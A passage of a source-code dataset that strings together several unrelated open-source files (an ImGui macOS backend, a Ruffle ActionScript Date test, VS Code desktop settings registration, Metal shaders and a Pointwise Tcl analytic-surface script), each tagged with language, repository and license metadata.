// Hide OS mouse cursor if imgui is drawing it or if it wants no cursor
if (!g_MouseCursorHidden)
{
g_MouseCursorHidden = true;
[NSCursor hide];
}
}
else
{
NSCursor* desired = g_MouseCursors[imgui_cursor] ?: g_MouseCursors[ImGuiMouseCursor_Arrow];
// -[NSCursor set] generates measureable overhead if called unconditionally.
if (desired != NSCursor.currentCursor)
{
[desired set];
}
if (g_MouseCursorHidden)
{
g_MouseCursorHidden = false;
[NSCursor unhide];
}
}
}
void ImGui_ImplOSX_UpdateGamepads()
{
ImGuiIO& io = ImGui::GetIO();
memset(io.NavInputs, 0, sizeof(io.NavInputs));
if ((io.ConfigFlags & ImGuiConfigFlags_NavEnableGamepad) == 0)
return;
GCController* controller;
if (@available(macOS 11.0, *))
controller = GCController.current;
else
controller = GCController.controllers.firstObject;
if (controller == nil || controller.extendedGamepad == nil)
{
io.BackendFlags &= ~ImGuiBackendFlags_HasGamepad;
return;
}
GCExtendedGamepad* gp = controller.extendedGamepad;
#define MAP_BUTTON(NAV_NO, NAME) { io.NavInputs[NAV_NO] = gp.NAME.isPressed ? 1.0 : 0.0; }
MAP_BUTTON(ImGuiNavInput_Activate, buttonA);
MAP_BUTTON(ImGuiNavInput_Cancel, buttonB);
MAP_BUTTON(ImGuiNavInput_Menu, buttonX);
MAP_BUTTON(ImGuiNavInput_Input, buttonY);
MAP_BUTTON(ImGuiNavInput_DpadLeft, dpad.left);
MAP_BUTTON(ImGuiNavInput_DpadRight, dpad.right);
MAP_BUTTON(ImGuiNavInput_DpadUp, dpad.up);
MAP_BUTTON(ImGuiNavInput_DpadDown, dpad.down);
MAP_BUTTON(ImGuiNavInput_FocusPrev, leftShoulder);
MAP_BUTTON(ImGuiNavInput_FocusNext, rightShoulder);
MAP_BUTTON(ImGuiNavInput_TweakSlow, leftTrigger);
MAP_BUTTON(ImGuiNavInput_TweakFast, rightTrigger);
#undef MAP_BUTTON
io.NavInputs[ImGuiNavInput_LStickLeft] = gp.leftThumbstick.left.value;
io.NavInputs[ImGuiNavInput_LStickRight] = gp.leftThumbstick.right.value;
io.NavInputs[ImGuiNavInput_LStickUp] = gp.leftThumbstick.up.value;
io.NavInputs[ImGuiNavInput_LStickDown] = gp.leftThumbstick.down.value;
io.BackendFlags |= ImGuiBackendFlags_HasGamepad;
}
void ImGui_ImplOSX_NewFrame(NSView* view)
{
// Setup display size
ImGuiIO& io = ImGui::GetIO();
if (view)
{
const float dpi = (float)[view.window backingScaleFactor];
io.DisplaySize = ImVec2((float)view.bounds.size.width, (float)view.bounds.size.height);
io.DisplayFramebufferScale = ImVec2(dpi, dpi);
}
// Setup time step
if (g_Time == 0.0)
{
InitHostClockPeriod();
g_Time = GetMachAbsoluteTimeInSeconds();
}
double current_time = GetMachAbsoluteTimeInSeconds();
io.DeltaTime = (float)(current_time - g_Time);
g_Time = current_time;
ImGui_ImplOSX_UpdateMouseCursorAndButtons();
ImGui_ImplOSX_UpdateGamepads();
}
NSString* NSStringFromPhase(NSEventPhase phase)
{
static NSString* strings[] =
{
@"none",
@"began",
@"stationary",
@"changed",
@"ended",
@"cancelled",
@"mayBegin",
};
int pos = phase == NSEventPhaseNone ? 0 : __builtin_ctzl((NSUInteger)phase) + 1;
return strings[pos];
}
bool ImGui_ImplOSX_HandleEvent(NSEvent* event, NSView* view)
{
ImGuiIO& io = ImGui::GetIO();
if (event.type == NSEventTypeLeftMouseDown || event.type == NSEventTypeRightMouseDown || event.type == NSEventTypeOtherMouseDown)
{
int button = (int)[event buttonNumber];
if (button >= 0 && button < IM_ARRAYSIZE(g_MouseDown))
g_MouseDown[button] = g_MouseJustPressed[button] = true;
return io.WantCaptureMouse;
}
if (event.type == NSEventTypeLeftMouseUp || event.type == NSEventTypeRightMouseUp || event.type == NSEventTypeOtherMouseUp)
{
int button = (int)[event buttonNumber];
if (button >= 0 && button < IM_ARRAYSIZE(g_MouseDown))
g_MouseDown[button] = false;
return io.WantCaptureMouse;
}
if (event.type == NSEventTypeMouseMoved || event.type == NSEventTypeLeftMouseDragged || event.type == NSEventTypeRightMouseDragged || event.type == NSEventTypeOtherMouseDragged)
{
NSPoint mousePoint = event.locationInWindow;
mousePoint = [view convertPoint:mousePoint fromView:nil];
mousePoint = NSMakePoint(mousePoint.x, view.bounds.size.height - mousePoint.y);
io.MousePos = ImVec2((float)mousePoint.x, (float)mousePoint.y);
}
if (event.type == NSEventTypeScrollWheel)
{
// Ignore canceled events.
//
// From macOS 12.1, scrolling with two fingers and then decelerating
// by tapping two fingers results in two events appearing:
//
// 1. A scroll wheel NSEvent, with a phase == NSEventPhaseMayBegin, when the user taps
// two fingers to decelerate or stop the scroll events.
//
// 2. A scroll wheel NSEvent, with a phase == NSEventPhaseCancelled, when the user releases the
// two-finger tap. It is this event that sometimes contains large values for scrollingDeltaX and
// scrollingDeltaY. When these are added to the current x and y positions of the scrolling view,
// it appears to jump up or down. It can be observed in Preview, various JetBrains IDEs and here.
if (event.phase == NSEventPhaseCancelled)
return false;
double wheel_dx = 0.0;
double wheel_dy = 0.0;
#if MAC_OS_X_VERSION_MAX_ALLOWED >= 1070
if (floor(NSAppKitVersionNumber) > NSAppKitVersionNumber10_6)
{
wheel_dx = [event scrollingDeltaX];
wheel_dy = [event scrollingDeltaY];
if ([event hasPreciseScrollingDeltas])
{
wheel_dx *= 0.1;
wheel_dy *= 0.1;
}
}
else
#endif // MAC_OS_X_VERSION_MAX_ALLOWED
{
wheel_dx = [event deltaX];
wheel_dy = [event deltaY];
}
//NSLog(@"dx=%0.3ff, dy=%0.3f, phase=%@", wheel_dx, wheel_dy, NSStringFromPhase(event.phase));
if (fabs(wheel_dx) > 0.0)
io.MouseWheelH += (float)wheel_dx * 0.1f;
if (fabs(wheel_dy) > 0.0)
io.MouseWheel += (float)wheel_dy * 0.1f;
return io.WantCaptureMouse;
}
if (event.type == NSEventTypeKeyDown || event.type == NSEventTypeKeyUp)
{
unsigned short code = event.keyCode;
IM_ASSERT(code >= 0 && code < IM_ARRAYSIZE(io.KeysDown));
io.KeysDown[code] = event.type == NSEventTypeKeyDown;
NSEventModifierFlags flags = event.modifierFlags;
io.KeyCtrl = (flags & NSEventModifierFlagControl) != 0;
io.KeyShift = (flags & NSEventModifierFlagShift) != 0;
io.KeyAlt = (flags & NSEventModifierFlagOption) != 0;
io.KeySuper = (flags & NSEventModifierFlagCommand) != 0;
return io.WantCaptureKeyboard;
}
if (event.type == NSEventTypeFlagsChanged)
{
NSEventModifierFlags flags = event.modifierFlags;
switch (event.keyCode)
{
case kVK_Control:
io.KeyCtrl = (flags & NSEventModifierFlagControl) != 0;
break;
case kVK_Shift:
io.KeyShift = (flags & NSEventModifierFlagShift) != 0;
break;
case kVK_Option:
io.KeyAlt = (flags & NSEventModifierFlagOption) != 0;
break;
case kVK_Command:
io.KeySuper = (flags & NSEventModifierFlagCommand) != 0;
break;
}
return io.WantCaptureKeyboard;
}
return false;
}
| Objective-C++ | 5 | WillianKoessler/imgui | backends/imgui_impl_osx.mm | [
"MIT"
] |
package {
public class Test {
}
}
trace("// Date with specific time stamp");
var date = new Date(929156400000);
trace("// Date(929156400000)");
trace(date.fullYearUTC, date.monthUTC, date.dateUTC, date.dayUTC, date.hoursUTC, date.minutesUTC, date.secondsUTC);
trace("// Date with fields chosen");
var date = new Date(2021, 7, 29, 4, 22, 55, 11);
trace("// Date(2021, 7, 29, 4, 22, 55, 11)")
trace(date.fullYear, date.month, date.date, date.day, date.hours, date.minutes, date.seconds);
trace("// Setting the date after construction");
date.fullYear = 1999;
date.month = 2;
date.date = 31;
trace(date.fullYear, date.month, date.date);
trace("// Setting the date after construction using setter methods");
date.setFullYear(1988, 5, 2);
trace("// Using getter methods")
trace(date.getFullYear(), date.getMonth(), date.getDate(), date.getHours(), date.getMinutes(), date.getSeconds(), date.getMilliseconds());
var date = new Date();
date.setUTCFullYear(1999, 5, 3);
date.setUTCHours(9, 8, 5, 3)
trace(date.fullYearUTC, date.monthUTC, date.dateUTC, date.dayUTC, date.hoursUTC, date.minutesUTC, date.secondsUTC, date.millisecondsUTC);
trace("// Using getter methods")
trace(date.getUTCFullYear(), date.getUTCMonth(), date.getUTCDate(), date.getUTCHours(), date.getUTCMinutes(), date.getUTCSeconds(), date.getUTCMilliseconds());
| ActionScript | 4 | Sprak1/ruffle | tests/tests/swfs/avm2/date/Test.as | [
"Apache-2.0",
"Unlicense"
] |
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
import { Registry } from 'vs/platform/registry/common/platform';
import { localize } from 'vs/nls';
import { MenuRegistry, MenuId, registerAction2 } from 'vs/platform/actions/common/actions';
import { IConfigurationRegistry, Extensions as ConfigurationExtensions, ConfigurationScope } from 'vs/platform/configuration/common/configurationRegistry';
import { KeyMod, KeyCode } from 'vs/base/common/keyCodes';
import { isLinux, isMacintosh } from 'vs/base/common/platform';
import { ConfigureRuntimeArgumentsAction, ToggleDevToolsAction, ToggleSharedProcessAction, ReloadWindowWithExtensionsDisabledAction } from 'vs/workbench/electron-sandbox/actions/developerActions';
import { ZoomResetAction, ZoomOutAction, ZoomInAction, CloseWindowAction, SwitchWindowAction, QuickSwitchWindowAction, NewWindowTabHandler, ShowPreviousWindowTabHandler, ShowNextWindowTabHandler, MoveWindowTabToNewWindowHandler, MergeWindowTabsHandlerHandler, ToggleWindowTabsBarHandler } from 'vs/workbench/electron-sandbox/actions/windowActions';
import { ContextKeyExpr } from 'vs/platform/contextkey/common/contextkey';
import { KeybindingsRegistry, KeybindingWeight } from 'vs/platform/keybinding/common/keybindingsRegistry';
import { CommandsRegistry } from 'vs/platform/commands/common/commands';
import { ServicesAccessor } from 'vs/platform/instantiation/common/instantiation';
import { IsMacContext } from 'vs/platform/contextkey/common/contextkeys';
import { INativeHostService } from 'vs/platform/native/electron-sandbox/native';
import { IJSONContributionRegistry, Extensions as JSONExtensions } from 'vs/platform/jsonschemas/common/jsonContributionRegistry';
import { IJSONSchema } from 'vs/base/common/jsonSchema';
import { IWorkbenchContributionsRegistry, Extensions as WorkbenchExtensions } from 'vs/workbench/common/contributions';
import { PartsSplash } from 'vs/workbench/electron-sandbox/splash';
import { LifecyclePhase } from 'vs/workbench/services/lifecycle/common/lifecycle';
import { InstallShellScriptAction, UninstallShellScriptAction } from 'vs/workbench/electron-sandbox/actions/installActions';
import { EditorsVisibleContext, SingleEditorGroupsContext } from 'vs/workbench/common/editor';
import { TELEMETRY_SETTING_ID } from 'vs/platform/telemetry/common/telemetry';
// Actions
(function registerActions(): void {
// Actions: Zoom
registerAction2(ZoomInAction);
registerAction2(ZoomOutAction);
registerAction2(ZoomResetAction);
// Actions: Window
registerAction2(SwitchWindowAction);
registerAction2(QuickSwitchWindowAction);
registerAction2(CloseWindowAction);
if (isMacintosh) {
// macOS: behave like other native apps that have documents
// but can run without a document opened and allow to close
// the window when the last document is closed
// (https://github.com/microsoft/vscode/issues/126042)
KeybindingsRegistry.registerKeybindingRule({
id: CloseWindowAction.ID,
weight: KeybindingWeight.WorkbenchContrib,
when: ContextKeyExpr.and(EditorsVisibleContext.toNegated(), SingleEditorGroupsContext),
primary: KeyMod.CtrlCmd | KeyCode.KeyW
});
}
// Actions: Install Shell Script (macOS only)
if (isMacintosh) {
registerAction2(InstallShellScriptAction);
registerAction2(UninstallShellScriptAction);
}
// Quit
KeybindingsRegistry.registerCommandAndKeybindingRule({
id: 'workbench.action.quit',
weight: KeybindingWeight.WorkbenchContrib,
handler(accessor: ServicesAccessor) {
const nativeHostService = accessor.get(INativeHostService);
nativeHostService.quit();
},
when: undefined,
mac: { primary: KeyMod.CtrlCmd | KeyCode.KeyQ },
linux: { primary: KeyMod.CtrlCmd | KeyCode.KeyQ }
});
// Actions: macOS Native Tabs
if (isMacintosh) {
[
{ handler: NewWindowTabHandler, id: 'workbench.action.newWindowTab', title: { value: localize('newTab', "New Window Tab"), original: 'New Window Tab' } },
{ handler: ShowPreviousWindowTabHandler, id: 'workbench.action.showPreviousWindowTab', title: { value: localize('showPreviousTab', "Show Previous Window Tab"), original: 'Show Previous Window Tab' } },
{ handler: ShowNextWindowTabHandler, id: 'workbench.action.showNextWindowTab', title: { value: localize('showNextWindowTab', "Show Next Window Tab"), original: 'Show Next Window Tab' } },
{ handler: MoveWindowTabToNewWindowHandler, id: 'workbench.action.moveWindowTabToNewWindow', title: { value: localize('moveWindowTabToNewWindow', "Move Window Tab to New Window"), original: 'Move Window Tab to New Window' } },
{ handler: MergeWindowTabsHandlerHandler, id: 'workbench.action.mergeAllWindowTabs', title: { value: localize('mergeAllWindowTabs', "Merge All Windows"), original: 'Merge All Windows' } },
{ handler: ToggleWindowTabsBarHandler, id: 'workbench.action.toggleWindowTabsBar', title: { value: localize('toggleWindowTabsBar', "Toggle Window Tabs Bar"), original: 'Toggle Window Tabs Bar' } }
].forEach(command => {
CommandsRegistry.registerCommand(command.id, command.handler);
MenuRegistry.appendMenuItem(MenuId.CommandPalette, {
command,
when: ContextKeyExpr.equals('config.window.nativeTabs', true)
});
});
}
// Actions: Developer
registerAction2(ReloadWindowWithExtensionsDisabledAction);
registerAction2(ConfigureRuntimeArgumentsAction);
registerAction2(ToggleSharedProcessAction);
registerAction2(ToggleDevToolsAction);
})();
// Menu
(function registerMenu(): void {
// Quit
MenuRegistry.appendMenuItem(MenuId.MenubarFileMenu, {
group: 'z_Exit',
command: {
id: 'workbench.action.quit',
title: localize({ key: 'miExit', comment: ['&& denotes a mnemonic'] }, "E&&xit")
},
order: 1,
when: IsMacContext.toNegated()
});
})();
// Configuration
(function registerConfiguration(): void {
const registry = Registry.as<IConfigurationRegistry>(ConfigurationExtensions.Configuration);
// Window
registry.registerConfiguration({
'id': 'window',
'order': 8,
'title': localize('windowConfigurationTitle', "Window"),
'type': 'object',
'properties': {
'window.openWithoutArgumentsInNewWindow': {
'type': 'string',
'enum': ['on', 'off'],
'enumDescriptions': [
localize('window.openWithoutArgumentsInNewWindow.on', "Open a new empty window."),
localize('window.openWithoutArgumentsInNewWindow.off', "Focus the last active running instance.")
],
'default': isMacintosh ? 'off' : 'on',
'scope': ConfigurationScope.APPLICATION,
'markdownDescription': localize('openWithoutArgumentsInNewWindow', "Controls whether a new empty window should open when starting a second instance without arguments or if the last running instance should get focus.\nNote that there can still be cases where this setting is ignored (e.g. when using the `--new-window` or `--reuse-window` command line option).")
},
'window.restoreWindows': {
'type': 'string',
'enum': ['preserve', 'all', 'folders', 'one', 'none'],
'enumDescriptions': [
localize('window.reopenFolders.preserve', "Always reopen all windows. If a folder or workspace is opened (e.g. from the command line) it opens as a new window unless it was opened before. If files are opened they will open in one of the restored windows."),
localize('window.reopenFolders.all', "Reopen all windows unless a folder, workspace or file is opened (e.g. from the command line)."),
localize('window.reopenFolders.folders', "Reopen all windows that had folders or workspaces opened unless a folder, workspace or file is opened (e.g. from the command line)."),
localize('window.reopenFolders.one', "Reopen the last active window unless a folder, workspace or file is opened (e.g. from the command line)."),
localize('window.reopenFolders.none', "Never reopen a window. Unless a folder or workspace is opened (e.g. from the command line), an empty window will appear.")
],
'default': 'all',
'scope': ConfigurationScope.APPLICATION,
'description': localize('restoreWindows', "Controls how windows are being reopened after starting for the first time. This setting has no effect when the application is already running.")
},
'window.restoreFullscreen': {
'type': 'boolean',
'default': false,
'scope': ConfigurationScope.APPLICATION,
'description': localize('restoreFullscreen', "Controls whether a window should restore to full screen mode if it was exited in full screen mode.")
},
'window.zoomLevel': {
'type': 'number',
'default': 0,
'description': localize('zoomLevel', "Adjust the zoom level of the window. The original size is 0 and each increment above (e.g. 1) or below (e.g. -1) represents zooming 20% larger or smaller. You can also enter decimals to adjust the zoom level with a finer granularity."),
ignoreSync: true
},
'window.newWindowDimensions': {
'type': 'string',
'enum': ['default', 'inherit', 'offset', 'maximized', 'fullscreen'],
'enumDescriptions': [
localize('window.newWindowDimensions.default', "Open new windows in the center of the screen."),
localize('window.newWindowDimensions.inherit', "Open new windows with same dimension as last active one."),
localize('window.newWindowDimensions.offset', "Open new windows with same dimension as last active one with an offset position."),
localize('window.newWindowDimensions.maximized', "Open new windows maximized."),
localize('window.newWindowDimensions.fullscreen', "Open new windows in full screen mode.")
],
'default': 'default',
'scope': ConfigurationScope.APPLICATION,
'description': localize('newWindowDimensions', "Controls the dimensions of opening a new window when at least one window is already opened. Note that this setting does not have an impact on the first window that is opened. The first window will always restore the size and location as you left it before closing.")
},
'window.closeWhenEmpty': {
'type': 'boolean',
'default': false,
'description': localize('closeWhenEmpty', "Controls whether closing the last editor should also close the window. This setting only applies for windows that do not show folders.")
},
'window.doubleClickIconToClose': {
'type': 'boolean',
'default': false,
'scope': ConfigurationScope.APPLICATION,
'markdownDescription': localize('window.doubleClickIconToClose', "If enabled, double clicking the application icon in the title bar will close the window and the window cannot be dragged by the icon. This setting only has an effect when `#window.titleBarStyle#` is set to `custom`.")
},
'window.titleBarStyle': {
'type': 'string',
'enum': ['native', 'custom'],
'default': isLinux ? 'native' : 'custom',
'scope': ConfigurationScope.APPLICATION,
'description': localize('titleBarStyle', "Adjust the appearance of the window title bar. On Linux and Windows, this setting also affects the application and context menu appearances. Changes require a full restart to apply.")
},
'window.dialogStyle': {
'type': 'string',
'enum': ['native', 'custom'],
'default': 'native',
'scope': ConfigurationScope.APPLICATION,
'description': localize('dialogStyle', "Adjust the appearance of dialog windows.")
},
'window.nativeTabs': {
'type': 'boolean',
'default': false,
'scope': ConfigurationScope.APPLICATION,
'description': localize('window.nativeTabs', "Enables macOS Sierra window tabs. Note that changes require a full restart to apply and that native tabs will disable a custom title bar style if configured."),
'included': isMacintosh
},
'window.nativeFullScreen': {
'type': 'boolean',
'default': true,
'description': localize('window.nativeFullScreen', "Controls if native full-screen should be used on macOS. Disable this option to prevent macOS from creating a new space when going full-screen."),
'scope': ConfigurationScope.APPLICATION,
'included': isMacintosh
},
'window.clickThroughInactive': {
'type': 'boolean',
'default': true,
'scope': ConfigurationScope.APPLICATION,
'description': localize('window.clickThroughInactive', "If enabled, clicking on an inactive window will both activate the window and trigger the element under the mouse if it is clickable. If disabled, clicking anywhere on an inactive window will activate it only and a second click is required on the element."),
'included': isMacintosh
}
}
});
// Telemetry
registry.registerConfiguration({
'id': 'telemetry',
'order': 110,
title: localize('telemetryConfigurationTitle', "Telemetry"),
'type': 'object',
'properties': {
'telemetry.enableCrashReporter': {
'type': 'boolean',
'description': localize('telemetry.enableCrashReporting', "Enable crash reports to be collected. This helps us improve stability. \nThis option requires restart to take effect."),
'default': true,
'tags': ['usesOnlineServices', 'telemetry'],
'markdownDeprecationMessage': localize('enableCrashReporterDeprecated', "If this setting is false, no telemetry will be sent regardless of the new setting's value. Deprecated due to being combined into the {0} setting.", `\`#${TELEMETRY_SETTING_ID}#\``),
}
}
});
// Keybinding
registry.registerConfiguration({
'id': 'keyboard',
'order': 15,
'type': 'object',
'title': localize('keyboardConfigurationTitle', "Keyboard"),
'properties': {
'keyboard.touchbar.enabled': {
'type': 'boolean',
'default': true,
'description': localize('touchbar.enabled', "Enables the macOS touchbar buttons on the keyboard if available."),
'included': isMacintosh
},
'keyboard.touchbar.ignored': {
'type': 'array',
'items': {
'type': 'string'
},
'default': [],
'markdownDescription': localize('touchbar.ignored', 'A set of identifiers for entries in the touchbar that should not show up (for example `workbench.action.navigateBack`).'),
'included': isMacintosh
}
}
});
})();
// JSON Schemas
(function registerJSONSchemas(): void {
const argvDefinitionFileSchemaId = 'vscode://schemas/argv';
const jsonRegistry = Registry.as<IJSONContributionRegistry>(JSONExtensions.JSONContribution);
const schema: IJSONSchema = {
id: argvDefinitionFileSchemaId,
allowComments: true,
allowTrailingCommas: true,
description: 'VSCode static command line definition file',
type: 'object',
additionalProperties: false,
properties: {
locale: {
type: 'string',
description: localize('argv.locale', 'The display Language to use. Picking a different language requires the associated language pack to be installed.')
},
'disable-hardware-acceleration': {
type: 'boolean',
description: localize('argv.disableHardwareAcceleration', 'Disables hardware acceleration. ONLY change this option if you encounter graphic issues.')
},
'disable-color-correct-rendering': {
type: 'boolean',
description: localize('argv.disableColorCorrectRendering', 'Resolves issues around color profile selection. ONLY change this option if you encounter graphic issues.')
},
'force-color-profile': {
type: 'string',
markdownDescription: localize('argv.forceColorProfile', 'Allows to override the color profile to use. If you experience colors appear badly, try to set this to `srgb` and restart.')
},
'enable-crash-reporter': {
type: 'boolean',
markdownDescription: localize('argv.enableCrashReporter', 'Allows to disable crash reporting, should restart the app if the value is changed.')
},
'crash-reporter-id': {
type: 'string',
markdownDescription: localize('argv.crashReporterId', 'Unique id used for correlating crash reports sent from this app instance.')
},
'enable-proposed-api': {
type: 'array',
description: localize('argv.enebleProposedApi', "Enable proposed APIs for a list of extension ids (such as \`vscode.git\`). Proposed APIs are unstable and subject to breaking without warning at any time. This should only be set for extension development and testing purposes."),
items: {
type: 'string'
}
},
'log-level': {
type: 'string',
description: localize('argv.logLevel', "Log level to use. Default is 'info'. Allowed values are 'critical', 'error', 'warn', 'info', 'debug', 'trace', 'off'.")
}
}
};
if (isLinux) {
schema.properties!['force-renderer-accessibility'] = {
type: 'boolean',
description: localize('argv.force-renderer-accessibility', 'Forces the renderer to be accessible. ONLY change this if you are using a screen reader on Linux. On other platforms the renderer will automatically be accessible. This flag is automatically set if you have editor.accessibilitySupport: on.'),
};
}
jsonRegistry.registerSchema(argvDefinitionFileSchemaId, schema);
})();
// Workbench Contributions
(function registerWorkbenchContributions() {
// Splash
Registry.as<IWorkbenchContributionsRegistry>(WorkbenchExtensions.Workbench).registerWorkbenchContribution(PartsSplash, LifecyclePhase.Starting);
})();
| TypeScript | 5 | AgainPsychoX/vscode | src/vs/workbench/electron-sandbox/desktop.contribution.ts | [
"MIT"
] |
/*
Copyright (C) 2017 Apple Inc. All Rights Reserved.
See LICENSE.txt for this sample’s licensing information
Abstract:
The vertex and fragment shaders.
*/
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
/*
Vertex input/output structure for passing results
from a vertex shader to a fragment shader.
*/
struct VertexInOut
{
float4 position [[position]];
float4 color;
float2 texCoord [[user(texturecoord)]];
};
// Vertex shader for a textured quad.
vertex VertexInOut passthroughVertexShader(uint vid [[ vertex_id ]],
constant float4* position [[ buffer(0) ]],
constant packed_float4* color [[ buffer(1) ]],
constant packed_float2* pTexCoords [[ buffer(2) ]])
{
VertexInOut outVertex;
// Copy the vertex, texture and color coordinates.
outVertex.position = position[vid];
outVertex.color = color[vid];
outVertex.texCoord = pTexCoords[vid];
return outVertex;
};
vertex VertexInOut vertexShader_DiagonalWipe(uint vid [[ vertex_id ]],
constant float4* position [[ buffer(0) ]],
constant packed_float4* color [[ buffer(1) ]],
constant packed_float2* pTexCoords [[ buffer(2) ]])
{
VertexInOut outVertex;
outVertex.position = position[vid];
outVertex.color = color[vid];
/*
Invert the y texture coordinate -- this is a simple modification to prevent the frame
from being flipped while using the same algorithm from the ObjC/OpenGL target
'quadVertexCoordinates' function (see APLDiagonalWipeRenderer.m) to compute the vertex
data for the foreground frame.
*/
outVertex.texCoord = pTexCoords[vid];
outVertex.texCoord.y = 1.0 - outVertex.texCoord.y;
return outVertex;
}
// Fragment shader for a textured quad.
fragment half4 texturedQuadFragmentShader(VertexInOut inFrag [[ stage_in ]],
texture2d<half> tex2D [[ texture(0) ]])
{
constexpr sampler quad_sampler;
// Sample the texture to get the surface color at this point.
half4 color = tex2D.sample(quad_sampler, inFrag.texCoord);
return color;
}
| Metal | 5 | 0x1306a94/AVCustomEdit | AVCustomEdit-Swift/Shaders.metal | [
"AML"
] |
#
# Copyright 2013 (c) Pointwise, Inc.
# All rights reserved.
#
# This sample Pointwise script is not supported by Pointwise, Inc.
# It is provided freely for demonstration purposes only.
# SEE THE WARRANTY DISCLAIMER AT THE BOTTOM OF THIS FILE.
#
################################################################################
# Create database curves or surfaces (or grid connectors) using a simple
# analytic function script. Example functions are provided in the examples
# folder.
#
# An analytic surface is created by supplying a Tcl proc named
# "computeSurfacePoint" in a separate script file, which must accept two
# numeric arguments (U, V), and return a point in 3-D space (represented
# as a list in the form "$x $y $z").
#
# An analytic curve is created by supplying a Tcl proc named
# "computeSegmentPoint" in a separate script file, which must accept one
# numeric argument (U), and return a point in 3-D space (represented as a
# list in the form "$x $y $z").
#
# The supplied script may include either or both of "computeSurfacePoint" and
# "computeSegmentPoint".
#
# LIMITATIONS: The ability of this script to construct surfaces containing
# discontinuities or sharp edges is limited. It is suggested to use two
# functions to define such a surface. If a function that produces
# discontinuities or sharp edges must be used, it is suggested that either
# the U or V axis be aligned with the discontinuity or edge. As an example,
# compare the results of absSphere.glf and absSphereV2.glf, or the results of
# of discontinuitySphere.glf and discontinuitySphereV2.glf in the examples
# folder.
################################################################################
package require PWI_Glyph 2
## analytic functions
pw::Script loadTk
# initialize globals
set infoMessage ""
set color(Valid) "white"
set color(Invalid) "misty rose"
set userInfoFile [file join [file dirname [info script]] "defaults.ini"]
set control(SegmentType) "database"
set control(EntityType) "Segment"
set segment(Start) 0.0
set segment(End) 1.0
set segment(NumPoints) 10
set segment(Type) "CatmullRom"
set surface(Start) "0.0 0.0"
set surface(End) "1.0 1.0"
set surface(NumPoints) "10 10"
set surface(Spline) "1"
proc readDefaults { } {
global userInfoFile control segment surface
if { [catch { set fp [open $userInfoFile r] } msg] } {
set control(File) ""
} else {
set file_data [read $fp]
close $fp
foreach iniValue [split $file_data "\n"] {
set nvpair [split $iniValue "="]
if { [llength $nvpair] == 2 } {
set [lindex $nvpair 0] [lindex $nvpair 1]
}
}
}
}
proc writeDefaults { } {
global userInfoFile control segment surface
if { [file exists $control(File)] } {
file delete -force $userInfoFile
}
if { ! [catch { set fp [open $userInfoFile w] }] } {
foreach n [array names control] {
puts $fp "control($n)=$control($n)"
}
foreach n [array names segment] {
puts $fp "segment($n)=$segment($n)"
}
foreach n [array names surface] {
puts $fp "surface($n)=$surface($n)"
}
close $fp
}
}
# widget hierarchy
set w(LabelTitle) .title
set w(FrameMain) .main
set w(LabelFile) $w(FrameMain).lfile
set w(EntryFile) $w(FrameMain).efile
set w(ButtonFile) $w(FrameMain).bfile
set w(LabelEntityType) $w(FrameMain).lenttype
set w(ComboEntityType) $w(FrameMain).comenttype
set w(FrameSegment) $w(FrameMain).fsegment
set w(FrameSegmentType) $w(FrameSegment).fsegtype
set w(RadioDatabase) $w(FrameSegmentType).rdatabase
set w(RadioGrid) $w(FrameSegmentType).rgrid
set w(RadioSource) $w(FrameSegmentType).rsource
set w(LabelStart) $w(FrameSegment).lstart
set w(EntryStart) $w(FrameSegment).estart
set w(LabelEnd) $w(FrameSegment).lend
set w(EntryEnd) $w(FrameSegment).eend
set w(LabelNumPoints) $w(FrameSegment).lnumpoints
set w(EntryNumPoints) $w(FrameSegment).enumpoints
set w(FrameType) $w(FrameSegment).ftype
set w(RadioCatmullRom) $w(FrameType).rcatmullrom
set w(RadioAkima) $w(FrameType).rakima
set w(RadioLinear) $w(FrameType).rlinear
set w(FrameSurface) $w(FrameMain).fsurface
set w(LabelStartUV) $w(FrameSurface).lstartuv
set w(EntryStartUV) $w(FrameSurface).estartuv
set w(LabelEndUV) $w(FrameSurface).lenduv
set w(EntryEndUV) $w(FrameSurface).eenduv
set w(LabelNumPointsUV) $w(FrameSurface).lnumpointsuv
set w(EntryNumPointsUV) $w(FrameSurface).enumpointsuv
set w(CheckSplineUV) $w(FrameSurface).csplineuv
set w(FrameButtons) .buttons
set w(Logo) $w(FrameButtons).logo
set w(ButtonOk) $w(FrameButtons).bok
set w(ButtonCancel) $w(FrameButtons).bcancel
set w(Message) .msg
# creates a segment using $control(File)'s 'computePoint' function
proc createSegment { start end step {fmt simple} {const 0} } {
global control
set segment [pw::SegmentSpline create]
set numArgs [llength [info args computeSegmentPoint]]
for { set u $start } { $u <= $end+($step/2.0) } { set u [expr $u + $step] } {
if { $u > $end } {
set u $end
}
switch $numArgs {
1 {
$segment addPoint [computeSegmentPoint $u] }
3 {
$segment addPoint [computeSegmentPoint $u $start $end] }
default {
error {Illegal number of args to computeSegmentPoint} }
}
}
$segment setSlope $::segment(Type)
return $segment
}
# creates a connector (createSegment is a helper)
proc createConnector { start end stepSize } {
set segment [createSegment $start $end $stepSize ]
set con [pw::Connector create]
$con addSegment $segment
$con calculateDimension
}
# creates a curve (createSegment is a helper)
proc createCurve { start end stepSize {fmt simple} {const 0} } {
set segment [createSegment $start $end $stepSize $fmt $const]
set curve [pw::Curve create]
$curve addSegment $segment
return $curve
}
# creates a source (createSegment is a helper)
proc createSourceCurve { start end stepSize {fmt simple} {const 0} } {
set segment [createSegment $start $end $stepSize $fmt $const]
set srcCurve [pw::SourceCurve create]
$srcCurve addSegment $segment
return $srcCurve
}
proc procExists { procName } {
return [expr {"$procName" eq [info procs $procName]}]
}
proc callOptionalProc { procName args } {
if { [procExists $procName] } {
$procName {*}$args
}
}
proc callBeginSurface { uStart vStart uEnd vEnd uNumPoints vNumPoints } {
callOptionalProc beginSurface $uStart $vStart $uEnd $vEnd $uNumPoints $vNumPoints
}
proc callBeginSurfaceV { v } {
callOptionalProc beginSurfaceV $v
}
proc callEndSurfaceV { v } {
callOptionalProc endSurfaceV $v
}
proc callEndSurface { } {
callOptionalProc endSurface
}
# creates a database surface by saving a plot3D file and loading it
proc createNetworkSurface { start end numPoints } {
global control surface
# setting useful local variales
set uStart [expr { 1.0 * [lindex $start 0]}]
set vStart [expr { 1.0 * [lindex $start 1]}]
set uEnd [expr { 1.0 * [lindex $end 0]}]
set vEnd [expr { 1.0 * [lindex $end 1]}]
set uNumPoints [lindex $numPoints 0]
set vNumPoints [lindex $numPoints 1]
